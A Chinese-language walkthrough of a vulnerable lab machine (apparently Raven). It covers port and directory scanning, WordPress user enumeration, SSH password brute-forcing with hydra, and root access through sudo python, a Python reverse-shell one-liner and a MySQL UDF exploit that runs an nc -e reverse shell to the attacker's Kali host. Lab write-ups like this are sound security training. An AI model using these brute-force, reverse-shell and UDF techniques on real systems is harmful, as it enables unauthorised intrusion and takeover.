文章目录
一、基础信息
二、信息收集
三、暴力破解
四、提权
一、基础信息
Kali IP :192.168.20.146
靶机IP :192.168.20.153
二、信息收集
nmap -sS -sV -p- -A 192.168.20.153
开放了22,80,111,58305端口
访问一下80页面
目录扫描
dirsearch -u http://192.168.20.153 -X 403
发现有wordpress cms,访问一下页面,这里需要设置hosts文件解析
http://raven.local/wordpress/wp-login.php
使用wpscan扫描
wpscan --url http://raven.local/wordpress/ --enumerate u
扫描到两个用户名:michael,steven
三、暴力破解
继续尝试暴力破解密码
wpscan --url http://raven.local/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames michael,steven
爆破了很久但是没有爆出密码
另外靶机存在ssh服务,ssh用户也可能是这两个用户名,尝试爆破密码
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.20.153 ssh
这里爆破的时间很长,最终得到账户信息:
Michael/michael
Steven/pink84
四、提权
1、登录steven账户
Sudo -l 看到赋予了python最高权限,不需要root密码,那么可以利用python提权
sudo python -c 'import pty; pty.spawn("/bin/bash")'
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.146',8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
直接本地反弹shell或者反弹到kali上都可以,直接获取到root权限
2、登录michael账户
sudo -l
find / -perm -u=s -type f 2>/dev/null
发现无法使用sudo和suid位提权
查看计划任务也没有特别发现,路径:/var/spool/cron ; /etc/*cron*
在网站根目录下发现了wordpress目录,并且有配置文件
看到了数据库root账户密码
Ps -aux | grep mysql
查看当前数据库进程为root权限运行,可以考虑mysql udf提权
连接数据库
mysql -uroot -pR@v3nSecurity
select version(); ---查看版本
查看是否有写入权限:show global variables like 'secure%';
查看插件目录:show variables like '%plugin%';
查看系统版本,这可以确定等下我们要用的脚本:show variables like '%compile%';
kali 上寻找 exp:find / -name "*mysqludf*" 2>/dev/null
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root
python -m http.server 8090
靶机上
cd /tmp
wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so
提权操作
use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的 udf 文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so')); #在 hack 中写入 udf 文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #将 udf 文件内容传入新建的 udf 文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; #导入 udf 函数
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #执行
nc -lvvp 9090
python -c 'import pty;pty.spawn("/bin/bash")'
提权成功
此靶机在前面做过几乎一样的,但是在打的时候完全不记得了,并且采用的方式也和前面有一定的区别,也不算重复劳动。